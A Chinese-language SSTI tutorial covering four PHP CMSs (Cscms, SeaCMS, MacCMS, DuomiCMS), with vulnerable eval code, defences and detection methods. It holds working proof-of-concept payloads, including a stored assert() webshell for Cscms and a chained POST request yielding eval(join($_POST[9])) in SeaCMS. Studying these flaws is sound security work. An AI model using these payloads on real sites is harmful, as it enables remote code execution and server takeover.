存在SSTI漏洞的CMS合集
字数 2557 2025-08-27 12:33:31
服务端模板注入(SSTI)漏洞分析与利用指南
一、SSTI漏洞概述
1.1 基本概念
SSTI(Server-Side Template Injection)服务端模板注入是一种Web安全漏洞,当应用程序将用户输入作为Web应用模板内容的一部分进行渲染时,如果未经过适当处理,攻击者可以注入恶意模板代码,导致敏感信息泄露、代码执行甚至获取服务器权限。
1.2 漏洞成因
- 用户输入未经严格过滤直接嵌入模板
- 使用危险函数(如eval)处理模板内容
- 模板引擎设计缺陷或配置不当
1.3 影响范围
影响范围主要取决于模板引擎的复杂性,可能导致:
- 任意代码执行
- 服务器敏感信息泄露
- 服务器被完全控制
- 数据库内容泄露
二、常见CMS中的SSTI漏洞分析
2.1 Cscms SSTI漏洞
环境要求
- Windows 10 + PHPStudy
- PHP 5.6 + Apache2 + MySQL
- Cscms受影响版本
漏洞复现
POC 1 (留言板注入):
URL: index.php/gbook
POST数据: {cscmsphp}assert($_REQUEST[pwd]);{/cscmsphp}
访问Shell: /index.php/gbook/lists/1?pwd=phpinfo();
POC 2 (搜索功能注入):
URL: index.php/dance/search?key={cscmsphp}phpinfo();{/cscmsphp}
漏洞分析
核心漏洞位于upload/cscms/app/models/Csskins.php中的cscms_php函数:
public function cscms_php($php,$content,$str) {
$evalstr=" return $content";
$newsphp=eval($evalstr);
$str=str_replace($php,$newsphp,$str);
return $str;
}
触发点:
- 用户通过留言板提交恶意模板代码
- 代码被存入数据库
- 渲染留言时调用
cscms_php函数执行eval - 攻击者通过URL参数触发代码执行
利用链
- 用户留言 → 数据库存储 → 模板渲染 → eval执行
2.2 海洋CMS SSTI漏洞
环境要求
- Windows 10 + PHPStudy
- PHP 5.6 + Apache2 + MySQL
- Seacms v6.53
漏洞复现
POC:
POST /seacms(v6.53)/upload/search.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();
漏洞分析
核心漏洞位于模板解析函数中的eval执行:
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
利用过程:
- 通过多步参数替换构造出可执行的PHP代码
- 最终形成
{if:eval(join($_POST[9]))}结构 - 通过POST数组传递要执行的函数
替换链分析
searchword={if{searchpage:year}→{if{searchpage:year}year=:e{searchpage:area}}→{if:e{searchpage:area}}area=v{searchpage:letter}→{if:ev{searchpage:letter}letter=al{searchpage:lang}→{if:eval{searchpage:lang}yuyan=(join{searchpage:jq}→{if:eval(join{searchpage:jq}jq=($_P{searchpage:ver}→{if:eval(join($_P{searchpage:ver}ver=OST[9]))→{if:eval(join($_POST[9]))}
2.3 苹果CMS SSTI漏洞
环境要求
- Windows 10 + PHPStudy
- PHP 5.6 + Apache2 + MySQL
- Maccms_php_v8.x
漏洞复现
POC:
URL: http://127.0.0.1/maccms/index.PHP?m=vod-search
POST数据: wd={if-A:phpinfo()}{endif-A}
漏洞分析
核心漏洞位于maccms\inc\common\template.php中的ifex函数:
function ifex() {
if (!strpos(",".$this->H,"{if-")) { return; }
$labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
preg_match_all($labelRule,$this->H,$iar);
//...
@eval("if($strif){\$resultStr='$elseifArray[0]';\$elseifFlag=true;}");
}
利用方式:
- 通过wd参数注入模板标签
- 构造符合正则
{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}的payload - 触发eval执行任意代码
2.4 DuomiCMS SSTI漏洞
环境要求
- DuomiCms_v1.32
漏洞复现
POC:
/search.php?searchtype=5&tid=&area=phpinfo()
三、SSTI漏洞防御方案
3.1 开发层面防御
-
输入过滤与验证
- 对所有用户输入进行严格过滤
- 使用白名单机制限制允许的输入内容
- 对特殊字符进行转义处理
-
安全模板设计
- 避免直接拼接用户输入到模板
- 使用安全的模板引擎(如Twig、Smarty等)
- 禁用危险函数如eval、assert等
-
权限控制
- 模板渲染使用最低权限账户
- 限制模板文件的读写权限
3.2 运维层面防御
-
及时更新
- 保持CMS和插件为最新版本
- 及时应用安全补丁
-
安全配置
- 禁用不必要的PHP函数
- 配置正确的文件权限
- 启用WAF防护
-
监控与审计
- 监控可疑的模板文件修改
- 定期审计模板渲染日志
- 设置异常行为告警
四、SSTI漏洞检测方法
4.1 手工检测
-
识别模板注入点
- 所有用户输入点(表单、URL参数、Cookie等)
- 内容渲染处(留言板、评论、搜索等)
-
测试模板语法
- 尝试注入模板语法如
{{7*7}}、{if condition}...{/if} - 观察响应是否执行了模板运算
- 尝试注入模板语法如
-
确认注入类型
- 通过错误信息判断模板引擎类型
- 根据引擎类型构造特定payload
4.2 自动化工具
-
tplmap
- 支持多种模板引擎的检测与利用
- 可自动识别引擎类型并获取shell
-
Burp Suite插件
- SSTI Scanner等插件可辅助检测
- 可结合Intruder模块进行模糊测试
-
自定义脚本
- 根据目标CMS编写针对性检测脚本
- 批量检测同类型CMS漏洞
五、扩展知识与资源
5.1 相关技术链接
5.2 实验环境搭建建议
- 使用虚拟机或容器隔离测试环境
- 配置与漏洞匹配的PHP版本
- 记录完整的复现步骤便于分析
- 在不影响业务的情况下进行测试
5.3 进阶研究方向
- 不同模板引擎的SSTI利用技术
- 无eval情况下的SSTI利用方法
- SSTI与其他漏洞的组合利用
- 现代框架中的模板注入防护机制
六、总结
SSTI漏洞作为一种常见的Web安全威胁,其危害性不容忽视。通过对多个CMS实例的分析可以看出,这类漏洞通常源于开发人员对用户输入过于信任,直接将其拼接到模板中执行。防御SSTI需要从开发习惯、代码审计、安全配置等多方面入手,建立完整的安全防护体系。
安全研究人员在分析SSTI漏洞时,应当重点关注:
- 模板渲染流程
- 用户输入处理方式
- 危险函数调用点
- 数据流追踪
只有深入理解模板引擎的工作原理和潜在风险点,才能有效预防和应对SSTI攻击。